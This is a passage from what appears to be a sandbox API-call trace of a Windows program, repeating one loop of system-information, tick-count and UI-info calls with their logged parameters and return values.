wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.108] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.108] GetTickCount () returned 0x4662 [0096.108] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.108] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.108] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.108] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.108] GetTickCount () returned 0x4662 [0096.108] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.108] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.108] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.108] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.108] GetTickCount () returned 0x4662 [0096.108] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.108] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.108] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.108] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.108] GetTickCount () returned 0x4662 [0096.108] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.108] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.108] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.108] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.108] GetTickCount () returned 0x4662 [0096.108] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.108] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.108] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.109] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.109] GetTickCount () returned 0x4662 [0096.109] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.109] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.109] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.109] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.109] GetTickCount () returned 0x4662 [0096.109] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.109] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.109] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.109] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.109] GetTickCount () returned 0x4662 [0096.109] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.109] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.109] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.109] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.109] GetTickCount () returned 0x4662 [0096.109] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.109] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.109] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.109] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.109] GetTickCount () returned 0x4662 [0096.109] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.110] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.110] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.110] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.110] GetTickCount () returned 0x4662 [0096.110] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.110] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.110] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.110] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.110] GetTickCount () returned 0x4662 [0096.110] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.110] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.110] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.110] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.110] GetTickCount () returned 0x4662 [0096.110] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.110] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.110] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.110] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.110] GetTickCount () returned 0x4662 [0096.110] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.110] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.110] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.110] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.110] GetTickCount () returned 0x4662 [0096.111] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.111] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.111] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.111] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.111] GetTickCount () returned 0x4662 [0096.111] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.111] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.111] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.111] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.111] GetTickCount () returned 0x4662 [0096.111] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.111] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.111] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.111] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.111] GetTickCount () returned 0x4662 [0096.111] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.111] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.111] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.111] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.111] GetTickCount () returned 0x4662 [0096.111] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.111] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.111] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.112] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.112] GetTickCount () returned 0x4662 [0096.112] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.112] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.112] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.112] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.112] GetTickCount () returned 0x4662 [0096.112] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.112] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.112] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.112] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.112] GetTickCount () returned 0x4662 [0096.112] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.112] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.112] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.112] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.112] GetTickCount () returned 0x4662 [0096.112] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.112] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.112] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.112] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.112] GetTickCount () returned 0x4662 [0096.112] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.112] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.112] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.113] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.113] GetTickCount () returned 0x4662 [0096.113] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.113] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.113] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.113] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.113] GetTickCount () returned 0x4662 [0096.113] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.113] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.113] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.113] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.113] GetTickCount () returned 0x4662 [0096.113] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.113] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.113] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.113] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.113] GetTickCount () returned 0x4662 [0096.113] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.113] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.113] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.113] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.113] GetTickCount () returned 0x4662 [0096.113] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.113] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.113] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.114] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.114] GetTickCount () returned 0x4662 [0096.114] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.114] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.114] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.114] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.114] GetTickCount () returned 0x4662 [0096.114] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.114] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.114] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.114] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.114] GetTickCount () returned 0x4662 [0096.114] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.114] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.114] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.114] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.114] GetTickCount () returned 0x4662 [0096.114] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.114] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.114] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.114] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.114] GetTickCount () returned 0x4662 [0096.114] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.114] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.115] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.115] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.115] GetTickCount () returned 0x4662 [0096.115] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.115] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.115] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.115] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.115] GetTickCount () returned 0x4662 [0096.115] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.115] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.115] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.115] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.115] GetTickCount () returned 0x4662 [0096.115] 